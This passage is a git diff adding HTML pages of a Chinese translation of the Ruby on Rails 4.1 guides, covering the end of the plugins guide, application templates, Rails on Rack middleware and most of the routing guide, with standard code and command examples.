运行测试后,确保测试结果中包含2个"NoMethodError: undefined method `squawk'"的测试错误,那么我们可以修改'acts_as_yaffle.rb'中的代码:

+
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+  module ActsAsYaffle
+    extend ActiveSupport::Concern
+
+    included do
+    end
+
+    module ClassMethods
+      def acts_as_yaffle(options = {})
+        cattr_accessor :yaffle_text_field
+        self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+
+        include Yaffle::ActsAsYaffle::LocalInstanceMethods
+      end
+    end
+
+    module LocalInstanceMethods
+      def squawk(string)
+        write_attribute(self.class.yaffle_text_field, string.to_squawk)
+      end
+    end
+  end
+end
+
+ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
+
+
+
+

运行rake命令后,你将看到如下结果: + + 7 tests, 7 assertions, 0 failures, 0 errors, 0 skips +

提示: 使用write_attribute方法写入字段只是举例说明插件如何与模型交互,并非推荐的使用方法,你也可以用如下方法实现: +ruby +send("#{self.class.yaffle_text_field}=", string.to_squawk) +

5 生成器

插件可以方便的引用和创建生成器。关于创建生成器的更多信息,可以参考Generators Guide

6 发布Gem

Gem插件可以通过Git代码托管库方便的在开发者之间分享。如果你希望分享Yaffle插件,那么可以将Yaffle放在Git代码托管库上。如果你想在Rails应用中使用Yaffle插件,那么可以在Rails应用的Gem文件中添加如下代码:

+
+gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git'
+
+
+
+

运行bundle install命令后,Yaffle插件就可以在你的Rails应用中使用了。

当gem作为一个正式版本分享时,它就可以被发布到RubyGems上了。想要了解更多关于发布gem到RubyGems信息,可以参考Creating and Publishing Your First Ruby Gem

7 RDoc 文档

插件功能稳定并准备发布时,为用户提供一个使用说明文档是必要的。很幸运,为你的插件写一个文档很容易。

首先更新说明文件以及如何使用你的插件等详细信息。文档主要包括以下几点:

+
    +
  • 你的名字
  • +
  • 安装指南
  • +
  • 如何安装gem到应用中(一些使用例子)
  • +
  • 警告,使用插件时需要注意的地方,这将为用户提供方便。
  • +
+

当你的README文件写好以后,为用户提供所有与插件方法相关的rdoc注释。通常我们使用'#:nodoc:'注释不包含在公共API中的代码。

当你的注释编写好以后,可以到你的插件目录下运行如下命令:

+
+$ bin/rake rdoc
+
+
+
+

7.1 参考文献

+ + + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/rails_application_templates.html b/v4.1/rails_application_templates.html new file mode 100644 index 0000000..8b994fa --- /dev/null +++ b/v4.1/rails_application_templates.html @@ -0,0 +1,440 @@ + + + + + + + +Rails应用模版 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Rails应用模版

应用模版是一个包括使用DSL添加gems/initializers等操作的普通Ruby文件.可以很方便的在你的应用中创建。

读完本章节,你将会学到:

+
    +
  • 如何使用模版生成/个性化一个应用。
  • +
  • 如何使用Rails的模版API编写可复用的应用模版。
  • +
+ + + + +
+
+ +
+
+
+

1 模版应用简介

为了使用一个模版,你需要为Rails应用生成器在生成新应用时提供一个'-m'选项来配置模版的路径。该路径可以是本地文件路径也可以是URL地址。

+
+$ rails new blog -m ~/template.rb
+$ rails new blog -m http://example.com/template.rb
+
+
+
+

你可以使用rake的任务命令rails:template为Rails应用配置模版。模版的文件路径需要通过名为'LOCATION'的环境变量设定。再次强调,这个路径可以是本地文件路径也可以是URL地址:

+
+$ bin/rake rails:template LOCATION=~/template.rb
+$ bin/rake rails:template LOCATION=http://example.com/template.rb
+
+
+
+

2 模版API

Rails模版API很容易理解,下面我们来看一个典型的模版例子:

+
+# template.rb
+generate(:scaffold, "person name:string")
+route "root to: 'people#index'"
+rake("db:migrate")
+
+git :init
+git add: "."
+git commit: %Q{ -m 'Initial commit' }
+
+
+
+

下面的章节将详细介绍模版API的主要方法:

2.1 gem(*args)

向一个Rails应用的Gemfile配置文件添加一个'gem'实体。 +举个例子,如果你的应用的依赖项包含bjnokogiri等gem :

+
+gem "bj"
+gem "nokogiri"
+
+
+
+

需要注意的是上述代码不会安装gem文件到你的应用里,你需要运行bundle install 命令来安装它们。

+
+bundle install
+
+
+
+

2.2 gem_group(*names, &block)

将gem实体嵌套在一个组里。

比如,如果你只希望在developmenttest组里面使用rspec-rails,可以这么做 :

+
+gem_group :development, :test do
+  gem "rspec-rails"
+end
+
+
+
+

2.3 add_source(source, options = {})

为Rails应用的Gemfile文件指定数据源。

举个例子。如果你需要从"http://code.whytheluckystiff.net/"下载一个gem:

+
+add_source "http://code.whytheluckystiff.net/"
+
+
+
+

2.4 environment/application(data=nil, options={}, &block)

Applicationconfig/application.rb中添加一行内容。

如果声明了options[:env]参数,那么这一行会在config/environments添加。

+
+environment 'config.action_mailer.default_url_options = {host: "http://yourwebsite.example.com/"}', env: 'production'
+
+
+
+

可以使用一个 'block'标志代替data参数。

2.5 vendor/lib/file/initializer(filename, data = nil, &block)

为一个应用的config/initializers目录添加初始化器。

假如你喜欢使用Object#not_nil?Object#not_blank?

+
+initializer 'bloatlol.rb', <<-CODE
+  class Object
+    def not_nil?
+      !nil?
+    end
+
+    def not_blank?
+      !blank?
+    end
+  end
+CODE
+
+
+
+

一般来说,lib()方法会在 lib/ 目录下创建一个文件,而vendor()方法会在vendor/目录下创建一个文件。

甚至可以用Rails.rootfile()方法创建所有Rails应用必须的文件和目录。

+
+file 'app/components/foo.rb', <<-CODE
+  class Foo
+  end
+CODE
+
+
+
+

上述操作会在app/components目录下创建一个 foo.rb 文件。

2.6 rakefile(filename, data = nil, &block)

lib/tasks目录下创建一个新的rake文件执行任务:

+
+rakefile("bootstrap.rake") do
+  <<-TASK
+    namespace :boot do
+      task :strap do
+        puts "i like boots!"
+      end
+    end
+  TASK
+end
+
+
+
+

上述代码将在lib/tasks/bootstrap.rake中创建一个boot:strap任务。

2.7 generate(what, *args)

通过给定参数执行生成器操作:

+
+generate(:scaffold, "person", "name:string", "address:text", "age:number")
+
+
+
+

2.8 run(command)

执行命令行命令,和你在命令行终端敲命令效果一样。比如你想删除README.rdoc文件:

+
+run "rm README.rdoc"
+
+
+
+

2.9 rake(command, options = {})

执行Rails应用的rake任务,比如你想迁移数据库:

+
+rake "db:migrate"
+
+
+
+

你也可以在不同的Rails应用环境中执行rake任务:

+
+rake "db:migrate", env: 'production'
+
+
+
+

2.10 route(routing_code)

config/routes.rb文件中添加一个路径实体。比如我们之前为某个人生成了一些简单的页面并且把 README.rdoc删除了。现在我们可以把应用的PeopleController#index设置为默认页面:

+
+route "root to: 'person#index'"
+
+
+
+

2.11 inside(dir)

允许你在指定目录执行命令。举个例子,你如果希望将一个外部应用添加到你的新应用中,可以这么做:

+
+inside('vendor') do
+  run "ln -s ~/commit-rails/rails rails"
+end
+
+
+
+

2.12 ask(question)

ask()方法为你提供了一个机会去获取用户反馈。比如你希望用户在你的新应用'shiny library'提交用户反馈意见:

+
+lib_name = ask("What do you want to call the shiny library ?")
+lib_name << ".rb" unless lib_name.index(".rb")
+
+lib lib_name, <<-CODE
+  class Shiny
+  end
+CODE
+
+
+
+

2.13 yes?(question) or no?(question)

这些方法是根据用户的选择之后做一些操作的。比如你的用户希望停止Rails应用,你可以这么做:

+
+rake("rails:freeze:gems") if yes?("Freeze rails gems?")
+# no?(question) acts just the opposite.
+
+
+
+

2.14 git(:command)

Rails模版允许你运行任何git命令:

+
+git :init
+git add: "."
+git commit: "-a -m 'Initial commit'"
+
+
+
+

3 高级应用

应用模版是在Rails::Generators::AppGenerator实例的上下文环境中执行的,它使用apply 动作来执行操作Thor。这意味着你可以根据需要扩展它的功能。

比如重载source_paths方法实现把本地路径添加到你的模版应用中。那么类似copy_file方法会在你的模版路径中识别相对路径参数。

+
+def source_paths
+  [File.expand_path(File.dirname(__FILE__))]
+end
+
+
+
+ + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/rails_on_rack.html b/v4.1/rails_on_rack.html new file mode 100644 index 0000000..de2c9b9 --- /dev/null +++ b/v4.1/rails_on_rack.html @@ -0,0 +1,465 @@ + + + + + + + +Rails on Rack — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Rails on Rack

本文介绍 Rails 和 Rack 的集成,以及与其他 Rack 组件的配合。

读完本文,你将学到:

+
    +
  • 如何在 Rails 程序中使用中间件;
  • +
  • Action Pack 内建的中间件;
  • +
  • 如何编写中间件;
  • +
+ + + + +
+
+ +
+
+
+

阅读本文之前需要了解 Rack 协议及相关概念,如中间件、URL 映射和 Rack::Builder

1 Rack 简介

Rack 为使用 Ruby 开发的网页程序提供了小型模块化,适应性极高的接口。Rack 尽量使用最简单的方式封装 HTTP 请求和响应,为服务器、框架和二者之间的软件(中间件)提供了统一的 API,只要调用一个简单的方法就能完成一切操作。

+ +

详细解说 Rack 不是本文的目的,如果不知道 Rack 基础知识,可以阅读“参考资源”一节。

2 Rails on Rack

2.1 Rails 程序中的 Rack 对象

ApplicationName::Application 是 Rails 程序中最主要的 Rack 程序对象。任何支持 Rack 的服务器都应该使用 ApplicationName::Application 对象服务 Rails 程序。Rails.application 也指向 ApplicationName::Application 对象。

2.2 rails server +

rails server 命令会创建 Rack::Server 对象并启动服务器。

rails server 创建 Rack::Server 实例的方法如下:

+
+Rails::Server.new.tap do |server|
+  require APP_PATH
+  Dir.chdir(Rails.application.root)
+  server.start
+end
+
+
+
+

Rails::Server 继承自 Rack::Server,使用下面的方式调用 Rack::Server#start 方法:

+
+class Server < ::Rack::Server
+  def start
+    ...
+    super
+  end
+end
+
+
+
+

Rails::Server 加载中间件的方式如下:

+
+def middleware
+  middlewares = []
+  middlewares << [Rails::Rack::Debugger] if options[:debugger]
+  middlewares << [::Rack::ContentLength]
+  Hash.new(middlewares)
+end
+
+
+
+

Rails::Rack::Debugger 基本上只在开发环境中有用。下表说明了加载的各中间件的用途:

+ + + + + + + + + + + + + + + + + +
中间件用途
Rails::Rack::Debugger启用调试功能
Rack::ContentLength计算响应的长度,单位为字节,然后设置 HTTP Content-Length 报头
+

2.3 rackup +

如果想用 rackup 代替 rails server 命令,可以在 Rails 程序根目录下的 config.ru 文件中写入下面的代码:

+
+# Rails.root/config.ru
+require ::File.expand_path('../config/environment', __FILE__)
+
+use Rails::Rack::Debugger
+use Rack::ContentLength
+run Rails.application
+
+
+
+

然后使用下面的命令启动服务器:

+
+$ rackup config.ru
+
+
+
+

查看 rackup 的其他选项,可以执行下面的命令:

+
+$ rackup --help
+
+
+
+

3 Action Dispatcher 中间件

Action Dispatcher 中的很多组件都以 Rack 中间件的形式实现。Rails::Application 通过 ActionDispatch::MiddlewareStack 把内部和外部的中间件组合在一起,形成一个完整的 Rails Rack 程序。

在 Rails 中,ActionDispatch::MiddlewareStack 的作用和 Rack::Builder 一样,不过前者更灵活,也为满足 Rails 的需求加入了更多功能。

3.1 查看使用的中间件

Rails 提供了一个 rake 任务,用来查看使用的中间件:

+
+$ rake middleware
+
+
+
+

在新建的 Rails 程序中,可能会输出如下结果:

+
+use Rack::Sendfile
+use ActionDispatch::Static
+use Rack::Lock
+use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x000000029a0838>
+use Rack::Runtime
+use Rack::MethodOverride
+use ActionDispatch::RequestId
+use Rails::Rack::Logger
+use ActionDispatch::ShowExceptions
+use ActionDispatch::DebugExceptions
+use ActionDispatch::RemoteIp
+use ActionDispatch::Reloader
+use ActionDispatch::Callbacks
+use ActiveRecord::Migration::CheckPending
+use ActiveRecord::ConnectionAdapters::ConnectionManagement
+use ActiveRecord::QueryCache
+use ActionDispatch::Cookies
+use ActionDispatch::Session::CookieStore
+use ActionDispatch::Flash
+use ActionDispatch::ParamsParser
+use Rack::Head
+use Rack::ConditionalGet
+use Rack::ETag
+run MyApp::Application.routes
+
+
+
+

这里列出的各中间件在“内部中间件”一节有详细介绍。

3.2 设置中间件

Rails 在 application.rbenvironments/<environment>.rb 文件中提供了一个简单的设置项 config.middleware,可以在middleware堆栈中添加,修改和删除中间件 。

3.2.1 添加新中间件

使用下面列出的任何一种方法都可以添加新中间件:

+
    +
  • +config.middleware.use(new_middleware, args):把新中间件添加到列表末尾;
  • +
  • +config.middleware.insert_before(existing_middleware, new_middleware, args):在 existing_middleware 之前添加新中间件;
  • +
  • +config.middleware.insert_after(existing_middleware, new_middleware, args):在 existing_middleware 之后添加新中间件;
  • +
+
+
+# config/application.rb
+
+# Push Rack::BounceFavicon at the bottom
+config.middleware.use Rack::BounceFavicon
+
+# Add Lifo::Cache after ActiveRecord::QueryCache.
+# Pass { page_cache: false } argument to Lifo::Cache.
+config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, page_cache: false
+
+
+
+
3.2.2 替换中间件

使用 config.middleware.swap 可以替换middleware堆栈中的中间件:

+
+# config/application.rb
+
+# Replace ActionDispatch::ShowExceptions with Lifo::ShowExceptions
+config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions
+
+
+
+
3.2.3 删除中间件

在程序的设置文件中加入下面的代码:

+
+# config/application.rb
+config.middleware.delete "Rack::Lock"
+
+
+
+

现在查看所用的中间件,会发现 Rack::Lock 不在输出结果中。

+
+$ rake middleware
+(in /Users/lifo/Rails/blog)
+use ActionDispatch::Static
+use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8>
+use Rack::Runtime
+...
+run Blog::Application.routes
+
+
+
+

如果想删除会话相关的中间件,可以这么做:

+
+# config/application.rb
+config.middleware.delete "ActionDispatch::Cookies"
+config.middleware.delete "ActionDispatch::Session::CookieStore"
+config.middleware.delete "ActionDispatch::Flash"
+
+
+
+

删除浏览器相关的中间件:

+
+# config/application.rb
+config.middleware.delete "Rack::MethodOverride"
+
+
+
+

3.3 内部中间件

Action Controller 的很多功能都以中间件的形式实现。下面解释个中间件的作用。

Rack::Sendfile:设置服务器上的 X-Sendfile 报头。通过 config.action_dispatch.x_sendfile_header 选项设置。

ActionDispatch::Static:用来服务静态资源文件。如果选项 config.serve_static_assetsfalse,则禁用这个中间件。

Rack::Lock:把 env["rack.multithread"] 旗标设为 false,程序放入互斥锁中。

ActiveSupport::Cache::Strategy::LocalCache::Middleware:在内存中保存缓存,非线程安全。

Rack::Runtime:设置 X-Runtime 报头,即执行请求的时长,单位为秒。

Rack::MethodOverride:如果指定了 params[:_method] 参数,会覆盖所用的请求方法。这个中间件实现了 PUT 和 DELETE 方法。

ActionDispatch::RequestId:在响应中设置一个唯一的 X-Request-Id 报头,并启用 ActionDispatch::Request#uuid 方法。

Rails::Rack::Logger:请求开始时提醒日志,请求完成后写入日志。

ActionDispatch::ShowExceptions:补救程序抛出的所有异常,调用处理异常的程序,使用特定的格式显示给用户。

ActionDispatch::DebugExceptions:如果在本地开发,把异常写入日志,并显示一个调试页面。

ActionDispatch::RemoteIp:检查欺骗攻击的 IP。

ActionDispatch::Reloader:提供“准备”和“清理”回调,协助开发环境中的代码重新加载功能。

ActionDispatch::Callbacks:在处理请求之前调用“准备”回调。

ActiveRecord::Migration::CheckPending:检查是否有待运行的迁移,如果有就抛出 ActiveRecord::PendingMigrationError 异常。

ActiveRecord::ConnectionAdapters::ConnectionManagement:请求处理完成后,清理活跃的连接,除非在发起请求的环境中把 rack.test 设为 true

ActiveRecord::QueryCache:启用 Active Record 查询缓存。

ActionDispatch::Cookies:设置请求的 cookies。

ActionDispatch::Session::CookieStore:负责把会话存储在 cookies 中。

ActionDispatch::Flash:设置 Flash 消息的键。只有设定了 config.action_controller.session_store 选项时才可用。

ActionDispatch::ParamsParser:把请求中的参数出入 params

ActionDispatch::Head:把 HEAD 请求转换成 GET 请求,并处理。

Rack::ConditionalGet:添加对“条件 GET”的支持,如果页面未修改,就不响应。

Rack::ETag:为所有字符串类型的主体添加 ETags 报头。ETags 用来验证缓存。

设置 Rack 时可使用上述任意一个中间件。

4 参考资源

4.1 学习

+ +

4.2 理解中间件

+ + + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/routing.html b/v4.1/routing.html new file mode 100644 index 0000000..b021be5 --- /dev/null +++ b/v4.1/routing.html @@ -0,0 +1,1612 @@ + + + + + + + +Rails 路由全解 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ + + +
+
+
+

1 Rails 路由的作用

Rails 路由能识别 URL,将其分发给控制器的动作进行处理,还能生成路径和 URL,无需直接在视图中硬编码字符串。

1.1 把 URL 和代码连接起来

Rails 程序收到如下请求时

+
+GET /patients/17
+
+
+
+

会查询路由,找到匹配的控制器动作。如果首个匹配的路由是:

+
+get '/patients/:id', to: 'patients#show'
+
+
+
+

那么这个请求就交给 patients 控制器的 show 动作处理,并把 { id: '17' } 传入 params

1.2 生成路径和 URL

通过路由还可生成路径和 URL。如果把前面的路由修改成:

+
+get '/patients/:id', to: 'patients#show', as: 'patient'
+
+
+
+

在控制器中有如下代码:

+
+@patient = Patient.find(17)
+
+
+
+

在相应的视图中有如下代码:

+
+<%= link_to 'Patient Record', patient_path(@patient) %>
+
+
+
+

那么路由就会生成路径 /patients/17。这么做代码易于维护、理解。注意,在路由帮助方法中无需指定 ID。

2 资源路径:Rails 的默认值

使用资源路径可以快速声明资源式控制器所有的常规路由,无需分别为 indexshowneweditcreateupdatedestroy 动作分别声明路由,只需一行代码就能搞定。

2.1 网络中的资源

浏览器向 Rails 程序请求页面时会使用特定的 HTTP 方法,例如 GETPOSTPATCHPUTDELETE。每个方法对应对资源的一种操作。资源路由会把一系列相关请求映射到单个路由器的不同动作上。

如果 Rails 程序收到如下请求:

+
+DELETE /photos/17
+
+
+
+

会查询路由将其映射到一个控制器的路由上。如果首个匹配的路由是:

+
+resources :photos
+
+
+
+

那么这个请求就交给 photos 控制器的 destroy 方法处理,并把 { id: '17' } 传入 params

2.2 CRUD,HTTP 方法和动作

在 Rails 中,资源式路由把 HTTP 方法和 URL 映射到控制器的动作上。而且根据约定,还映射到数据库的 CRUD 操作上。路由文件中如下的单行声明:

+
+resources :photos
+
+
+
+

会创建七个不同的路由,全部映射到 Photos 控制器上:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作作用
GET/photosphotos#index显示所有图片
GET/photos/newphotos#new显示新建图片的表单
POST/photosphotos#create新建图片
GET/photos/:idphotos#show显示指定的图片
GET/photos/:id/editphotos#edit显示编辑图片的表单
PATCH/PUT/photos/:idphotos#update更新指定的图片
DELETE/photos/:idphotos#destroy删除指定的图片
+

路由使用 HTTP 方法和 URL 匹配请求,把四个 URL 映射到七个不同的动作上。 +I> +NOTE: 路由按照声明的顺序匹配哦,如果在 get 'photos/poll' 之前声明了 resources :photos,那么 show 动作的路由由 resources 这行解析。如果想使用 get 这行,就要将其移到 resources 之前。

2.3 路径和 URL 帮助方法

声明资源式路由后,会自动创建一些帮助方法。以 resources :photos 为例:

+
    +
  • +photos_path 返回 /photos +
  • +
  • +new_photo_path 返回 /photos/new +
  • +
  • +edit_photo_path(:id) 返回 /photos/:id/edit,例如 edit_photo_path(10) 返回 /photos/10/edit +
  • +
  • +photo_path(:id) 返回 /photos/:id,例如 photo_path(10) 返回 /photos/10 +
  • +
+

这些帮助方法都有对应的 _url 形式,例如 photos_url,返回主机、端口加路径。

2.4 一次声明多个资源路由

如果需要为多个资源声明路由,可以节省一点时间,调用一次 resources 方法完成:

+
+resources :photos, :books, :videos
+
+
+
+

这种方式等价于:

+
+resources :photos
+resources :books
+resources :videos
+
+
+
+

2.5 单数资源

有时希望不用 ID 就能查看资源,例如,/profile 一直显示当前登入用户的个人信息。针对这种需求,可以使用单数资源,把 /profile(不是 /profile/:id)映射到 show 动作:

+
+get 'profile', to: 'users#show'
+
+
+
+

如果 get 方法的 to 选项是字符串,要使用 controller#action 形式;如果是 Symbol,就可以直接指定动作:

+
+get 'profile', to: :show
+
+
+
+

下面这个资源式路由:

+
+resource :geocoder
+
+
+
+

会生成六个路由,全部映射到 Geocoders 控制器:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作作用
GET/geocoder/newgeocoders#new显示新建 geocoder 的表单
POST/geocodergeocoders#create新建 geocoder
GET/geocodergeocoders#show显示唯一的 geocoder 资源
GET/geocoder/editgeocoders#edit显示编辑 geocoder 的表单
PATCH/PUT/geocodergeocoders#update更新唯一的 geocoder 资源
DELETE/geocodergeocoders#destroy删除 geocoder 资源
+

有时需要使用同个控制器处理单数路由(例如 /account)和复数路由(例如 /accounts/45),把单数资源映射到复数控制器上。例如,resource :photoresources :photos 分别声明单数和复数路由,映射到同个控制器(PhotosController)上。

单数资源式路由生成以下帮助方法:

+
    +
  • +new_geocoder_path 返回 /geocoder/new +
  • +
  • +edit_geocoder_path 返回 /geocoder/edit +
  • +
  • +geocoder_path 返回 /geocoder +
  • +
+

和复数资源一样,上面各帮助方法都有对应的 _url 形式,返回主机、端口加路径。

有个一直存在的问题导致 form_for 无法自动处理单数资源。为了解决这个问题,可以直接指定表单的 URL,例如:

+
+form_for @geocoder, url: geocoder_path do |f|
+
+
+
+

2.6 控制器命名空间和路由

你可能想把一系列控制器放在一个命名空间内,最常见的是把管理相关的控制器放在 Admin:: 命名空间内。你需要把这些控制器存在 app/controllers/admin 文件夹中,然后在路由中做如下声明:

+
+namespace :admin do
+  resources :articles, :comments
+end
+
+
+
+

上述代码会为 articlescomments 控制器生成很多路由。对 Admin::ArticlesController 来说,Rails 会生成:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名帮助方法
GET/admin/articlesadmin/articles#indexadmin_articles_path
GET/admin/articles/newadmin/articles#newnew_admin_article_path
POST/admin/articlesadmin/articles#createadmin_articles_path
GET/admin/articles/:idadmin/articles#showadmin_article_path(:id)
GET/admin/articles/:id/editadmin/articles#editedit_admin_article_path(:id)
PATCH/PUT/admin/articles/:idadmin/articles#updateadmin_article_path(:id)
DELETE/admin/articles/:idadmin/articles#destroyadmin_article_path(:id)
+

如果想把 /articles(前面没有 /admin)映射到 Admin::ArticlesController 控制器上,可以这么声明:

+
+scope module: 'admin' do
+  resources :articles, :comments
+end
+
+
+
+

如果只有一个资源,还可以这么声明:

+
+resources :articles, module: 'admin'
+
+
+
+

如果想把 /admin/articles 映射到 ArticlesController 控制器(不在 Admin:: 命名空间内),可以这么声明:

+
+scope '/admin' do
+  resources :articles, :comments
+end
+
+
+
+

如果只有一个资源,还可以这么声明:

+
+resources :articles, path: '/admin/articles'
+
+
+
+

在上述两种用法中,具名路由没有变化,跟不用 scope 时一样。在后一种用法中,映射到 ArticlesController 控制器上的路径如下:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名帮助方法
GET/admin/articlesarticles#indexarticles_path
GET/admin/articles/newarticles#newnew_article_path
POST/admin/articlesarticles#createarticles_path
GET/admin/articles/:idarticles#showarticle_path(:id)
GET/admin/articles/:id/editarticles#editedit_article_path(:id)
PATCH/PUT/admin/articles/:idarticles#updatearticle_path(:id)
DELETE/admin/articles/:idarticles#destroyarticle_path(:id)
+

如果在 namespace 代码块中想使用其他的控制器命名空间,可以指定控制器的绝对路径,例如 get '/foo' => '/foo#index'

2.7 嵌套资源

开发程序时经常会遇到一个资源是其他资源的子资源这种情况。假设程序中有如下的模型:

+
+class Magazine < ActiveRecord::Base
+  has_many :ads
+end
+
+class Ad < ActiveRecord::Base
+  belongs_to :magazine
+end
+
+
+
+

在路由中可以使用“嵌套路由”反应这种关系。针对这个例子,可以声明如下路由:

+
+resources :magazines do
+  resources :ads
+end
+
+
+
+

除了创建 MagazinesController 的路由之外,上述声明还会创建 AdsController 的路由。广告的 URL 要用到杂志资源:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作作用
GET/magazines/:magazine_id/adsads#index显示指定杂志的所有广告
GET/magazines/:magazine_id/ads/newads#new显示新建广告的表单,该告属于指定的杂志
POST/magazines/:magazine_id/adsads#create创建属于指定杂志的广告
GET/magazines/:magazine_id/ads/:idads#show显示属于指定杂志的指定广告
GET/magazines/:magazine_id/ads/:id/editads#edit显示编辑广告的表单,该广告属于指定的杂志
PATCH/PUT/magazines/:magazine_id/ads/:idads#update更新属于指定杂志的指定广告
DELETE/magazines/:magazine_id/ads/:idads#destroy删除属于指定杂志的指定广告
+

上述路由还会生成 magazine_ads_urledit_magazine_ad_path 等路由帮助方法。这些帮助方法的第一个参数是 Magazine 实例,例如 magazine_ads_url(http://github.com/@magazine)

2.7.1 嵌套限制

嵌套路由可以放在其他嵌套路由中,例如:

+
+resources :publishers do
+  resources :magazines do
+    resources :photos
+  end
+end
+
+
+
+

层级较多的嵌套路由很难处理。例如,程序可能要识别如下的路径:

+
+/publishers/1/magazines/2/photos/3
+
+
+
+

对应的路由帮助方法是 publisher_magazine_photo_url,要指定三个层级的对象。这种用法很让人困扰,Jamis Buck 在一篇文章中指出了嵌套路由的用法总则,即:

嵌套资源不可超过一层。

2.7.2 浅层嵌套

避免深层嵌套的方法之一,是把控制器集合动作放在父级资源中,表明层级关系,但不嵌套成员动作。也就是说,用最少的信息表明资源的路由关系,如下所示:

+
+resources :articles do
+  resources :comments, only: [:index, :new, :create]
+end
+resources :comments, only: [:show, :edit, :update, :destroy]
+
+
+
+

这种做法在描述路由和深层嵌套之间做了适当的平衡。上述代码还有简写形式,即使用 :shallow 选项:

+
+resources :articles do
+  resources :comments, shallow: true
+end
+
+
+
+

这种形式生成的路由和前面一样。:shallow 选项还可以在父级资源中使用,此时所有嵌套其中的资源都是浅层嵌套:

+
+resources :articles, shallow: true do
+  resources :comments
+  resources :quotes
+  resources :drafts
+end
+
+
+
+

shallow 方法可以创建一个作用域,其中所有嵌套都是浅层嵌套。如下代码生成的路由和前面一样:

+
+shallow do
+  resources :articles do
+    resources :comments
+    resources :quotes
+    resources :drafts
+  end
+end
+
+
+
+

scope 方法有两个选项可以定制浅层嵌套路由。:shallow_path 选项在成员路径前加上指定的前缀:

+
+scope shallow_path: "sekret" do
+  resources :articles do
+    resources :comments, shallow: true
+  end
+end
+
+
+
+

上述代码为 comments 资源生成的路由如下:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名帮助方法
GET/articles/:article_id/comments(.:format)comments#indexarticle_comments_path
POST/articles/:article_id/comments(.:format)comments#createarticle_comments_path
GET/articles/:article_id/comments/new(.:format)comments#newnew_article_comment_path
GET/sekret/comments/:id/edit(.:format)comments#editedit_comment_path
GET/sekret/comments/:id(.:format)comments#showcomment_path
PATCH/PUT/sekret/comments/:id(.:format)comments#updatecomment_path
DELETE/sekret/comments/:id(.:format)comments#destroycomment_path
+

:shallow_prefix 选项在具名帮助方法前加上指定的前缀:

+
+scope shallow_prefix: "sekret" do
+  resources :articles do
+    resources :comments, shallow: true
+  end
+end
+
+
+
+

上述代码为 comments 资源生成的路由如下:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名帮助方法
GET/articles/:article_id/comments(.:format)comments#indexarticle_comments_path
POST/articles/:article_id/comments(.:format)comments#createarticle_comments_path
GET/articles/:article_id/comments/new(.:format)comments#newnew_article_comment_path
GET/comments/:id/edit(.:format)comments#editedit_sekret_comment_path
GET/comments/:id(.:format)comments#showsekret_comment_path
PATCH/PUT/comments/:id(.:format)comments#updatesekret_comment_path
DELETE/comments/:id(.:format)comments#destroysekret_comment_path
+

2.8 Routing Concerns

Routing Concerns 用来声明通用路由,可在其他资源和路由中重复使用。定义 concern 的方式如下:

+
+concern :commentable do
+  resources :comments
+end
+
+concern :image_attachable do
+  resources :images, only: :index
+end
+
+
+
+

Concerns 可在资源中重复使用,避免代码重复:

+
+resources :messages, concerns: :commentable
+
